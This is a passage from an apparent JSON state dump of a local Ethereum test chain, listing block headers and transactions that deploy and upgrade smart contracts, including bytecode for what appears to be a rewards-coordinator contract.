d5b81356127d2816144d7565b634e487b7160e01b600052604160045260246000fd5b604051606081016001600160401b038111828210171561455157614551614519565b60405290565b604080519081016001600160401b038111828210171561455157614551614519565b604051601f8201601f191681016001600160401b03811182821017156145a1576145a1614519565b604052919050565b6000806001600160401b038411156145c3576145c3614519565b50601f8301601f19166020016145d881614579565b9150508281528383830111156145ed57600080fd5b828260208301376000602084830101529392505050565b60006020828403121561461657600080fd5b81356001600160401b0381111561462c57600080fd5b8201601f8101841361463d57600080fd5b61464c848235602084016145a9565b949350505050565b6000806040838503121561466757600080fd5b50508035926020909101359150565b803560ff811681146144f757600080fd5b60006020828403121561469957600080fd5b6127d282614676565b815181526020808301519082015260408101610ee4565b60008083601f8401126146cb57600080fd5b5081356001600160401b038111156146e257600080fd5b6020830191508360208285010111156140d057600080fd5b6000806000806040858703121561471057600080fd5b84356001600160401b0381111561472657600080fd5b614732878288016143ef565b90955093505060208501356001600160401b0381111561475157600080fd5b61475d878288016146b9565b95989497509550505050565b634e487b7160e01b600052602160045260246000fd5b6003811061479d57634e487b7160e01b600052602160045260246000fd5b9052565b8151815260208083015160408301916147bc9084018261477f565b5092915050565b803561ffff811681146144f757600080fd5b6000606082840312156147e757600080fd5b6147ef61452f565b905081356147fc8161448d565b815261480a602083016147c3565b602082015261481b604083016147c3565b604082015292915050565b6000806080838503121561483957600080fd5b61484283614676565b915061485184602085016147d5565b90509250929050565b60008060006040848603121561486f57600080fd5b833561487a816144d7565b925060208401356001600160401b0381111561489557600080fd5b6148a1868287016146b9565b9497909650939450505050565b60006001600160401b038211156148c7576148c7614519565b5060051b60200190565b6000604082840312156148e357600080fd5b6148eb614557565b90506148f682614676565b81526020820135614906816144d7565b602082015292915050565b600080600080600060a0868803121561492957600080fd5b8535614934816144d7565b94506020860135935060408601356001600160401b0381111561495657600080fd5b8601601f8101881361496757600080fd5b803561497a614975826148ae565b614579565b8082825260208201915060208360061b85010192508a83111561499c57600080fd5b6020840193505b828410156149c8576149b58b856148d1565b82526020820191506040840193506149a3565b979a9699509697606081013597506080013595945050505050565b600061010082840312156149f657600080fd5b50919050565b60008083601f840112614a0e57600080fd5b5081356001600160401b03811115614a2557600080fd5b6020830191508360208260061b85010111156140d057600080fd5b600060608284031215614a5257600080fd5b614a5a61452f565b905081356001600160401b03811115614a7257600080fd5b8201601f81018413614a8357600080fd5b614a92848235602084016145a9565b8252506020828101359082015260409182013591810191909152919050565b60008060008060008060008060006101a08a8c031215614ad057600080fd5b89356001600160401b03811115614ae657600080fd5b614af28c828d016146b9565b909a5098505060208a01356001600160401b03811115614b1157600080fd5b614b1d8c828d016146b9565b9098509650614b3190508b60408c016149e3565b94506101408a01356001600160401b03811115614b4d57600080fd5b614b598c828d016149fc565b9095509350506101608a01356001600160401b03811115614b7957600080fd5b614b858c828d01614a40565b9250506101808a01356001600160401b03811115614ba257600080fd5b614bae8c828d01614a40565b9150509295985092959850929598565b6000806000806000806101608789031215614bd857600080fd5b86356001600160401b03811115614bee57600080fd5b614bfa89828a016146b9565b90975095505060208701356001600160401b03811115614c1957600080fd5b614c2589828a016146b9565b9095509350614c39905088604089016149e3565b91506101408701356001600160401b03811115614c5557600080fd5b614c6189828a01614a40565b9150509295509295509295565b60008060408385031215614c8157600080fd5b8235614c8c8161448d565b915060208301356001600160401b03811115614ca757600080fd5b8301601f81018513614cb857600080fd5b8035614cc6614975826148ae565b8082825260208201915060208360051b850101925087831115614ce857600080fd5b6020840193505b82841015614d0a578335825260209384019390910190614cef565b809450505050509250929050565b602080825282518282018190526000918401906040840190835b81811015614d5657835163ffffffff16835260209384019390920191600101614d32565b509095945050505050565b60008060208385031215614d7457600080fd5b82356001600160401b03811115614d8a57600080fd5b614468858286016146b9565b6001600160601b0381168114610d1957600080fd5b600082601f830112614dbc57600080fd5b8135614dca614975826148ae565b8082825260208201915060208360061b860101925085831115614dec57600080fd5b602085015b83811015614e455760408188031215614e0957600080fd5b614e11614557565b8135614e1c816144d7565b81526020820135614e2c81614d96565b6020828101919091529084529290920191604001614df1565b5095945050505050565b600080600060a08486031215614e6457600080fd5b614e6e85856147d5565b92506060840135614e7e81614d96565b915060808401356001600160401b03811115614e9957600080fd5b614ea586828701614dab565b9150509250925092565b600082601f830112614ec057600080fd5b8135614ece614975826148ae565b80828252602082019150602060608402860101925085831115614ef057600080fd5b602085015b83811015614e4557614f0787826147d5565b8352602090920191606001614ef5565b600082601f830112614f2857600080fd5b8135614f36614975826148ae565b8082825260208201915060208360051b860101925085831115614f5857600080fd5b602085015b83811015614e45578035614f7081614d96565b835260209283019201614f5d565b600082601f830112614f8f57600080fd5b8135614f9d614975826148ae565b8082825260208201915060208360051b860101925085831115614fbf57600080fd5b602085015b83811015614e455780356001600160401b03811115614fe257600080fd5b614ff1886020838a0101614dab565b84525060209283019201614fc4565b600080600080600080600080610100898b03121561501d57600080fd5b615026896144ec565b975061503460208a016144ec565b965061504260408a016144ec565b955061505060608a016144ec565b94506080890135935060a08901356001600160401b0381111561507257600080fd5b61507e8b828c01614eaf565b93505060c08901356001600160401b0381111561509a57600080fd5b6150a68b828c01614f17565b92505060e08901356001600160401b038111156150c257600080fd5b6150ce8b828c01614f7e565b9150509295985092959890939650565b60208101610ee4828461477f565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000815180845260005b8181101561515f57602081850181015186830182015201615143565b506000602082860101526020601f19601f83011685010191505092915050565b6020815260006127d26020830184615139565b6000602082840312156151a457600080fd5b81516127d2816144d7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561520b57600080fd5b815180151581146127d257600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000808335601e1984360301811261527a57600080fd5b8301803591506001600160401b0382111561529457600080fd5b6020019150600581901b36038213156140d057600080fd5b6000602082840312156152be57600080fd5b81516127d28161448d565b634e487b7160e01b600052601160045260246000fd5b80820180821115610ee457610ee46152c9565b6000808585111561530257600080fd5b8386111561530f57600080fd5b5050820193919092039150565b600060c0820188835260018060a01b038816602084015286604084015260c0606084015280865180835260e08501915060208801925060005b8181101561538b578351805160ff1684526020908101516001600160a01b03168185015290930192604090920191600101615355565b50506080840195909552505060a00152949350505050565b6000604082840312156153b557600080fd5b6127d283836148d1565b81810381811115610ee457610ee46152c9565b6000600182016153e4576153e46152c9565b5060010190565b60018060a01b03841681528260208201526060604082015260006154126060830184615139565b95945050505050565b60006020828403121561542d57600080fd5b81516001600160c01b03811681146127d257600080fd5b634e487b7160e01b600052601260045260246000fd5b60008261546957615469615444565b500690565b6001600160a01b038316815260406020820181905260009061464c90830184615139565b82815260406020820152600061464c6040830184615139565b6000602082840312156154bd57600080fd5b5051919050565b6001600160a01b038416815261016081016154ec602083018580358252602090810135910152565b615506606083016040860180358252602090810135910152565b60406080850160a0840137604060c0850160e08401378251610120830152602083015161014083015261464c565b60018060a01b038316815260406020820152600082516060604084015261555e60a0840182615139565b90506020840151606084015260408401516080840152809150509392505050565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6001600160a01b0384168152604060208201819052600090615412908301848661557f565b60018060a01b03851681528360208201526060604082015260006117ab60608301848661557f565b600082601f83011261560657600080fd5b8151615614614975826148ae565b8082825260208201915060208360051b86010192508583111561563657600080fd5b602085015b83811015614e4557805161564e81614d96565b83526020928301920161563b565b6000806040838503121561566f57600080fd5b82516001600160401b0381111561568557600080fd5b615691858286016155f5565b92505060208301516001600160401b038111156156ad57600080fd5b6156b9858286016155f5565b9150509250929050565b83815260406020820152600061541260408301848661557f565b6000602082840312156156ef57600080fd5b81516001600160401b0381111561570557600080fd5b8201601f8101841361571657600080fd5b8051615724614975826148ae565b8082825260208201915060208360051b85010192508683111561574657600080fd5b6020840193505b828410156117ab5783516157608161448d565b82526020938401939091019061574d565b60006020828403121561578357600080fd5b81516127d281614d96565b60ff8181168382160190811115610ee457610ee46152c9565b60006060820160ff861683526001600160601b03851660208401526060604084015280845180835260808501915060208601925060005b8181101561581a57835180516001600160a01b031684526020908101516001600160601b031681850152909301926040909201916001016157de565b5090979650505050505050565b600061ffff821661ffff810361583f5761583f6152c9565b60010192915050565b60006020828403121561585a57600080fd5b81516001600160e01b0319811681146127d257600080fd5b6001600160601b0381811683821602908116908181146147bc576147bc6152c9565b60006001600160601b038316806158ad576158ad615444565b806001600160601b038416049150509291505056fe30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47a2646970667358221220419d7e27cb66d8a9027e44acca21720880735099fc2ee8e8aba6487d3c1e625164736f6c634300081c00330000000000000000000000001613beb3b2c4f22ee086b2b38c1476a3ce7f78e800000000000000000000000095401dc811bb5740090279ba06cfa8fcf6113778000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36","r":"0xf37d5734452219ef33ed28afd7c614d451f8bcd450d8139add5e2d0cdf306a00","s":"0x16818c09e4c9946fcceb8a3332c5298d490f5fb3c51413b3de3d6d8ea5c7e31a","yParity":"0x1","hash":"0x6ae75214e7c2e45a070a6bd288bd03dd0d6d4bee6821d1dc48a0addeb0e391b4"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x2f","gas":"0xacff5","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","value":"0x0","accessList":[],"input":"0x9623609d000000000000000000000000851356ae760d987e095750cceb3bc6014560891c0000000000000000000000005eb3bc0a489c5a8288765d2336659ebca68fcd0000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000264dd8283f3000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001c0000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000c80000000000000000000000000000000000000000000000000000000000002af8000000000000000000000000000000000000000000000000000000000000003200000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000","r":"0xda92a9b9b093161425c968829881c36cb6c630cf88a6d79a1a47a417f23d29cb","s":"0x51f3cfeb9d7ccda4fda5fdc72735b8150ec3b20bc46ebd54c854b8ca65f9c4e3","yParity":"0x0","hash":"0x07fcd103ee0ca154b0df41b41dfec0848907f483d2ccb95fc49b5c956a34a00b"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x12aebe12aae19018b1e2fd15191a0caf7d9de830d189db418ba9ce46e8667c70","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x6bc83ff6d2efc342a62290d8c0acc5394f511ee59a46e6b5819a03fbc8608884","transactionsRoot":"0x1e00cb6aec02b658b20a42438e6a74fc6e92dd0118b110c0bb237746c654612f","receiptsRoot":"0x0dc37fa2dea39b84dcf6bf1c2c8c30d273fbd8850c8b0af882c4616c4c223129","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000800010000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000400000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x5","gasLimit":"0x1c9c380","gasUsed":"0x97a5","timestamp":"0x67212c10","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x24856c5b","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x29","gas":"0xd175","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","value":"0x0","accessList":[],"input":"0x99a88ec4000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3600000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc49","r":"0xb69c6de2bc8add371c9f06e045593bf630b13a0e4e29e4434a9573761b6aac5","s":"0x185a8957fc2cd0932570b74a3867257f65a0b196c2bbe5056e10a7db3e96bd6a","yParity":"0x0","hash":"0xc55bc6448216d5fabf802cafda5597277ac40a0a4254523971756c67ff9fb2ee"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x827e43b8d215ee7d37698d40bc036278f8eb90f0355ff831dd25fd32ebd22d88","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x8dfeee54403bbedf42cb6a17114f03b120c302f111a9bece28ccd16aa86f1d6f","transactionsRoot":"0x00858a3a979a5a8e60985b6bb8ed461802aeae3a683233913df921317c6f884f","receiptsRoot":"0xc24b358bd8f01f0a27e9dfd990532cd0333f2a673ceef0dd1e1fbb4de37b200b","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000","difficulty":"0x0","number":"0x9","gasLimit":"0x1c9c380","gasUsed":"0x320478","timestamp":"0x67212bff","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x18a1f856","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0xf","gas":"0x4100b6","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x61018060405234801561001157600080fd5b50604051613dc9380380613dc9833981016040819052610030916102d0565b86868686868686610041858261035b565b63ffffffff16156100e55760405162461bcd60e51b815260206004820152606060248201527f52657761726473436f6f7264696e61746f723a2047454e455349535f5245574160448201527f5244535f54494d455354414d50206d7573742062652061206d756c7469706c6560648201527f206f662043414c43554c4154494f4e5f494e54455256414c5f5345434f4e4453608482015260a4015b60405180910390fd5b6100f2620151808661035b565b63ffffffff16156101915760405162461bcd60e51b815260206004820152605760248201527f52657761726473436f6f7264696e61746f723a2043414c43554c4154494f4e5f60448201527f494e54455256414c5f5345434f4e4453206d7573742062652061206d756c746960648201527f706c65206f6620534e415053484f545f434144454e4345000000000000000000608482015260a4016100dc565b6001600160a01b0396871661012052949095166101405263ffffffff92831660805290821660a052811660c05291821660e05216610100526101d16101e3565b50504661016052506103919350505050565b600054610100900460ff161561024b5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b60648201526084016100dc565b60005460ff908116101561029d576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b03811681146102b457600080fd5b50565b805163ffffffff811681146102cb57600080fd5b919050565b600080600080600080600060e0888a0312156102eb57600080fd5b87516102f68161029f565b60208901519097506103078161029f565b9550610315604089016102b7565b9450610323606089016102b7565b9350610331608089016102b7565b925061033f60a089016102b7565b915061034d60c089016102b7565b905092959891949750929550565b600063ffffffff83168061037f57634e487b7160e01b600052601260045260246000fd5b8063ffffffff84160691505092915050565b60805160a05160c05160e051610100516101205161014051610160516139a2610427600039600061181f0152600081816104400152612295015260006106ec01526000818161035701526120c40152600081816102cb0152612170015260008181610419015261207301526000818161065e0152611dea01526000818161060401528181611ea10152611f7c01526139a26000f3fe608060405234801561001057600080fd5b50600436106102895760003560e01c80636d21117e1161015c578063bf21a8aa116100ce578063f2fde38b11610087578063f2fde38b1461070e578063f698da2514610721578063f8cd844814610729578063fabc1cbc1461073c578063fbf1e2c11461074f578063fce36c7d1461076257600080fd5b8063bf21a8aa14610659578063c46db60614610680578063d4540a55146106ae578063e221b245146106c1578063e810ce21146106d4578063ea4d3c9b146106e757600080fd5b8063886f119511610120578063886f1195146105c05780638da5cb5b146105d35780639104c319146105e45780639d45c281146105ff578063a0169ddd14610626578063bb7e451f1461063957600080fd5b80636d21117e14610544578063715018a6146105725780637b8f8b051461057a578063863cb9a914610582578063865c69531461059557600080fd5b806337838ed01161020057806358baaa3e116101b957806358baaa3e146104b6578063595c6a67146104c95780635971b3f8146104d15780635ac86ab7146105065780635c975abb146105295780635e9d83481461053157600080fd5b806337838ed01461041457806339b70e381461043b5780633a8c0786146104625780633ccc861d146104795780633efe1db61461048c5780634d18cc351461049f57600080fd5b8063131433b411610252578063131433b414610352578063136439dd14610379578063149bc8721461038c57806322f19a64146103ad5780632b9f64a4146103c057806336af41fa1461040157600080fd5b806218572c1461028e57806304a0c502146102c6578063092db007146103025780630eb383451461032a57806310d67a2f1461033f575b600080fd5b6102b161029c3660046130f0565b60d16020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b60405163ffffffff90911681526020016102bd565b60cb5461031790600160e01b900461ffff1681565b60405161ffff90911681526020016102bd565b61033d61033836600461311b565b610775565b005b61033d61034d3660046130f0565b6107f7565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b61033d610387366004613154565b6108b3565b61039f61039a366004613185565b6109f2565b6040519081526020016102bd565b6103176103bb3660046131a1565b610a68565b6103e96103ce3660046130f0565b60cc602052600090815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020016102bd565b61033d61040f3660046131cf565b610a7d565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b6103e97f000000000000000000000000000000000000000000000000000000000000000081565b60cb546102ed90600160a01b900463ffffffff1681565b61033d610487366004613259565b610caa565b61033d61049a3660046132b9565b611052565b60cb546102ed90600160c01b900463ffffffff1681565b61033d6104c43660046132e5565b611351565b61033d611362565b6104e46104df366004613154565b611429565b6040805193845263ffffffff92831660208501529116908201526060016102bd565b6102b1610514366004613300565b606654600160ff9092169190911b9081161490565b60665461039f565b6102b161053f366004613323565b611469565b6102b1610552366004613358565b60cf60209081526000928352604080842090915290825290205460ff1681565b61033d6114e7565b60ca5461039f565b61033d6105903660046130f0565b6114fb565b61039f6105a33660046131a1565b60cd60209081526000928352604080842090915290825290205481565b6065546103e9906001600160a01b031681565b6033546001600160a01b03166103e9565b6103e973beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b61033d6106343660046130f0565b61150c565b61039f6106473660046130f0565b60ce6020526000908152604090205481565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b6102b161068e366004613358565b60d060209081526000928352604080842090915290825290205460ff1681565b61033d6106bc3660046133a1565b61156b565b61033d6106cf366004613414565b6116b3565b6102ed6106e2366004613154565b6116c4565b6103e97f000000000000000000000000000000000000000000000000000000000000000081565b61033d61071c3660046130f0565b6117a5565b61039f61181b565b61039f610737366004613185565b611858565b61033d61074a366004613154565b611869565b60cb546103e9906001600160a01b031681565b61033d6107703660046131cf565b6119c5565b61077d611b37565b6001600160a01b038216600081815260d1602052604080822054905160ff9091169284151592841515927f4de6293e668df1398422e1def12118052c1539a03cbfedc145895d48d7685f1c9190a4506001600160a01b0391909116600090815260d160205260409020805460ff1916911515919091179055565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e919061342f565b6001600160a01b0316336001600160a01b0316146108a75760405162461bcd60e51b815260040161089e9061344c565b60405180910390fd5b6108b081611b91565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190613496565b61093b5760405162461bcd60e51b815260040161089e906134b3565b606654818116146109b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600080610a0260208401846130f0565b8360200135604051602001610a4b9392919060f89390931b6001600160f81b031916835260609190911b6bffffffffffffffffffffffff19166001830152601582015260350190565b604051602081830303815290604052805190602001209050919050565b60cb54600160e01b900461ffff165b92915050565b606654600190600290811603610aa55760405162461bcd60e51b815260040161089e906134fb565b33600090815260d1602052604090205460ff16610b445760405162461bcd60e51b815260206004820152605160248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f60448201527f7420612076616c69642063726561746552657761726473466f72416c6c53756260648201527036b4b9b9b4b7b71039bab136b4ba3a32b960791b608482015260a40161089e565b600260975403610b665760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110610b8957610b89613569565b9050602002810190610b9b919061357f565b33600081815260ce60209081526040808320549051949550939192610bc692909185918791016136c4565b604051602081830303815290604052805190602001209050610be783611c88565b33600090815260d0602090815260408083208484529091529020805460ff19166001908117909155610c1a90839061370a565b33600081815260ce602052604090819020929092559051829184917f51088b8c89628df3a8174002c2a034d0152fce6af8415d651b2a4734bf27048290610c6290889061371d565b60405180910390a4610c94333060408601803590610c8390602089016130f0565b6001600160a01b0316929190612458565b505050600101610b6e565b505060016097555050565b606654600290600490811603610cd25760405162461bcd60e51b815260040161089e906134fb565b600260975403610cf45760405162461bcd60e51b815260040161089e90613532565b6002609755600060ca610d0a60208601866132e5565b63ffffffff1681548110610d2057610d20613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091529050610d7284826124c9565b6000610d8460808601606087016130f0565b6001600160a01b03808216600090815260cc60205260409020549192501680610daa5750805b336001600160a01b03821614610e285760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063616c6c6572206973206e6f742076616c696420636c61696d657200000000606482015260840161089e565b60005b610e3860a0880188613730565b90508110156110445736610e4f60e0890189613781565b83818110610e5f57610e5f613569565b6001600160a01b038716600090815260cd602090815260408083209302949094019450929091508290610e94908501856130f0565b6001600160a01b03166001600160a01b0316815260200190815260200160002054905080826020013511610f4e5760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063756d756c61746976654561726e696e6773206d75737420626520677420746064820152741a185b8818dd5b5d5b185d1a5d9950db185a5b5959605a1b608482015260a40161089e565b6000610f5e8260208501356137cb565b6001600160a01b038716600090815260cd60209081526040822092935085018035929190610f8c90876130f0565b6001600160a01b0316815260208082019290925260400160002091909155610fce908a908390610fbe908701876130f0565b6001600160a01b0316919061276a565b86516001600160a01b03808b1691878216918916907f9543dbd55580842586a951f0386e24d68a5df99ae29e3b216588b45fd684ce319061101260208901896130f0565b604080519283526001600160a01b039091166020830152810186905260600160405180910390a4505050600101610e2b565b505060016097555050505050565b60665460039060089081160361107a5760405162461bcd60e51b815260040161089e906134fb565b60cb546001600160a01b031633146110f15760405162461bcd60e51b815260206004820152603460248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f6044820152733a103a3432903932bbb0b93239aab83230ba32b960611b606482015260840161089e565b60cb5463ffffffff600160c01b90910481169083161161118d5760405162461bcd60e51b815260206004820152604b60248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a206e60448201527f657720726f6f74206d75737420626520666f72206e657765722063616c63756c60648201526a185d1959081c195c9a5bd960aa1b608482015260a40161089e565b428263ffffffff16106112265760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a207260448201527f65776172647343616c63756c6174696f6e456e6454696d657374616d702063616064820152746e6e6f7420626520696e207468652066757475726560581b608482015260a40161089e565b60ca5460cb5460009061124690600160a01b900463ffffffff16426137de565b6040805160608101825287815263ffffffff878116602080840182815286841685870181815260ca805460018101825560009190915296517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee160029098029788015591517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee29096018054925196861667ffffffffffffffff19909316929092176401000000009686169690960295909517905560cb805463ffffffff60c01b1916600160c01b840217905593519283529394508892908616917fecd866c3c158fa00bf34d803d5f6023000b57080bcb48af004c2b4b46b3afd08910160405180910390a45050505050565b611359611b37565b6108b08161279a565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190613496565b6113ea5760405162461bcd60e51b815260040161089e906134b3565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60ca818154811061143957600080fd5b60009182526020909120600290910201805460019091015490915063ffffffff8082169164010000000090041683565b60006114df8260ca61147e60208301836132e5565b63ffffffff168154811061149457611494613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091526124c9565b506001919050565b6114ef611b37565b6114f9600061280b565b565b611503611b37565b6108b08161285d565b33600081815260cc602052604080822080546001600160a01b031981166001600160a01b038781169182179093559251911692839185917fbab947934d42e0ad206f25c9cab18b5bb6ae144acfb00f40b4e3aa59590ca31291a4505050565b600054610100900460ff161580801561158b5750600054600160ff909116105b806115a55750303b1580156115a5575060005460ff166001145b6116085760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161089e565b6000805460ff19166001179055801561162b576000805461ff0019166101001790555b6116336128b9565b60c9556116408686612950565b6116498761280b565b6116528461285d565b61165b8361279a565b61166482612a3a565b80156116aa576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050505050565b6116bb611b37565b6108b081612a3a565b60ca546000905b63ffffffff811615611736578260ca6116e56001846137fa565b63ffffffff16815481106116fb576116fb613569565b906000526020600020906002020160000154036117245761171d6001826137fa565b9392505050565b8061172e81613816565b9150506116cb565b5060405162461bcd60e51b815260206004820152603760248201527f52657761726473436f6f7264696e61746f722e676574526f6f74496e6465784660448201527f726f6d486173683a20726f6f74206e6f7420666f756e64000000000000000000606482015260840161089e565b6117ad611b37565b6001600160a01b0381166118125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089e565b6108b08161280b565b60007f0000000000000000000000000000000000000000000000000000000000000000460361184b575060c95490565b6118536128b9565b905090565b60006001610a0260208401846130f0565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118e0919061342f565b6001600160a01b0316336001600160a01b0316146119105760405162461bcd60e51b815260040161089e9061344c565b60665419811960665419161461198e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016109e7565b6066546000906001908116036119ed5760405162461bcd60e51b815260040161089e906134fb565b600260975403611a0f5760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110611a3257611a32613569565b9050602002810190611a44919061357f565b33600081815260ce60209081526040808320549051949550939192611a6f92909185918791016136c4565b604051602081830303815290604052805190602001209050611a9083611c88565b33600090815260cf602090815260408083208484529091529020805460ff19166001908117909155611ac390839061370a565b33600081815260ce602052604090819020929092559051829184917f450a367a380c4e339e5ae7340c8464ef27af7781ad9945cfe8abd828f89e628190611b0b90889061371d565b60405180910390a4611b2c333060408601803590610c8390602089016130f0565b505050600101611a17565b6033546001600160a01b031633146114f95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161089e565b6001600160a01b038116611c1f5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b